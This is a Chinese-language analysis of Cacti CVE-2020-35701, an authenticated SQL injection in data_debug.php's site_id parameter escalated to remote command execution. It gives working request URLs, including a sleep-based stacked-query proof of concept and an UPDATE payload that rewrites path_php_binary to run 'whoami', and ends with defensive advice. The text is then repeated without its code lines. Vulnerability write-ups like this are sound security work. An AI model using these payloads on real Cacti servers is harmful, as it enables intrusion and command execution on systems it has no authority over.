cacti cve-2020-35701 后台sql注入到后台RCE 分析
字数 934 2025-08-24 07:48:10

Cacti CVE-2020-35701 漏洞分析与利用指南

漏洞概述

Cacti 1.2.x 至 1.2.16 版本存在一个严重的SQL注入漏洞(CVE-2020-35701),该漏洞允许经过身份验证的攻击者通过构造恶意请求实现从SQL注入到远程代码执行(RCE)的完整攻击链。

漏洞原理分析

1. SQL注入点分析

漏洞位于data_debug.php文件中,具体流程如下:

  1. 文件首先获取action参数
  2. 使用switch语句对不同action值进行不同操作
  3. action=ajax_hosts时,系统会获取site_id参数
  4. 关键问题:未对site_id参数进行任何过滤

2. 漏洞调用链

data_debug.php (接收site_id参数)
↓
auth.php的get_allowed_ajax_hosts函数
↓
get_allowed_devices函数 (直接拼接SQL语句)

3. 注入类型

由于SQL语句直接拼接用户输入且未使用预处理语句,导致可以构造堆叠注入(Stacked Query),即可以执行多条SQL语句。

漏洞复现步骤

1. 验证SQL注入

构造如下POC验证注入:

http://[target]/cacti/data_debug.php?action=ajax_hosts&site_id=1;select sleep(10)-- -

如果服务器响应延迟10秒,则证明注入存在。

2. 寻找RCE路径

通过全局搜索发现graph_realtime.php中存在危险函数调用:

shell_exec($config["path_php_binary"] . " " . $args);

其中path_php_binary参数从数据库的settings表中读取,且可被修改。

3. 完整利用链

  1. 通过SQL注入修改settings表中的path_php_binary
  2. 访问graph_realtime.php触发命令执行

详细利用过程

第一步:修改数据库配置

构造如下请求修改path_php_binary值:

http://[target]/cacti/data_debug.php?action=ajax_hosts&site_id=1;update settings set value='whoami > /tmp/9.txt;' where name='path_php_binary';-- -

执行后验证数据库是否更新成功。

第二步:触发命令执行

访问以下URL触发命令执行:

http://[target]/cacti/graph_realtime.php

命令执行结果将写入/tmp/9.txt文件。

防御建议

  1. 升级到Cacti最新版本
  2. 对所有用户输入进行严格过滤和验证
  3. 使用参数化查询(Prepared Statements)替代直接SQL拼接
  4. 实施最小权限原则,限制数据库用户权限
  5. 对关键配置文件进行权限控制

总结

该漏洞展示了从SQL注入到RCE的完整攻击链,利用过程分为两个阶段:

  1. 通过未过滤的site_id参数实现SQL注入
  2. 通过修改数据库配置实现命令执行

漏洞危害性高,建议受影响用户立即采取防护措施。

Cacti CVE-2020-35701 漏洞分析与利用指南 漏洞概述 Cacti 1.2.x 至 1.2.16 版本存在一个严重的SQL注入漏洞(CVE-2020-35701),该漏洞允许经过身份验证的攻击者通过构造恶意请求实现从SQL注入到远程代码执行(RCE)的完整攻击链。 漏洞原理分析 1. SQL注入点分析 漏洞位于 data_debug.php 文件中,具体流程如下: 文件首先获取 action 参数 使用switch语句对不同action值进行不同操作 当 action=ajax_hosts 时,系统会获取 site_id 参数 关键问题: 未对 site_id 参数进行任何过滤 2. 漏洞调用链 3. 注入类型 由于SQL语句直接拼接用户输入且未使用预处理语句,导致可以构造 堆叠注入(Stacked Query) ,即可以执行多条SQL语句。 漏洞复现步骤 1. 验证SQL注入 构造如下POC验证注入: 如果服务器响应延迟10秒,则证明注入存在。 2. 寻找RCE路径 通过全局搜索发现 graph_realtime.php 中存在危险函数调用: 其中 path_php_binary 参数从数据库的settings表中读取,且可被修改。 3. 完整利用链 通过SQL注入修改settings表中的 path_php_binary 值 访问 graph_realtime.php 触发命令执行 详细利用过程 第一步:修改数据库配置 构造如下请求修改 path_php_binary 值: 执行后验证数据库是否更新成功。 第二步:触发命令执行 访问以下URL触发命令执行: 命令执行结果将写入 /tmp/9.txt 文件。 防御建议 升级到Cacti最新版本 对所有用户输入进行严格过滤和验证 使用参数化查询(Prepared Statements)替代直接SQL拼接 实施最小权限原则,限制数据库用户权限 对关键配置文件进行权限控制 总结 该漏洞展示了从SQL注入到RCE的完整攻击链,利用过程分为两个阶段: 通过未过滤的 site_id 参数实现SQL注入 通过修改数据库配置实现命令执行 漏洞危害性高,建议受影响用户立即采取防护措施。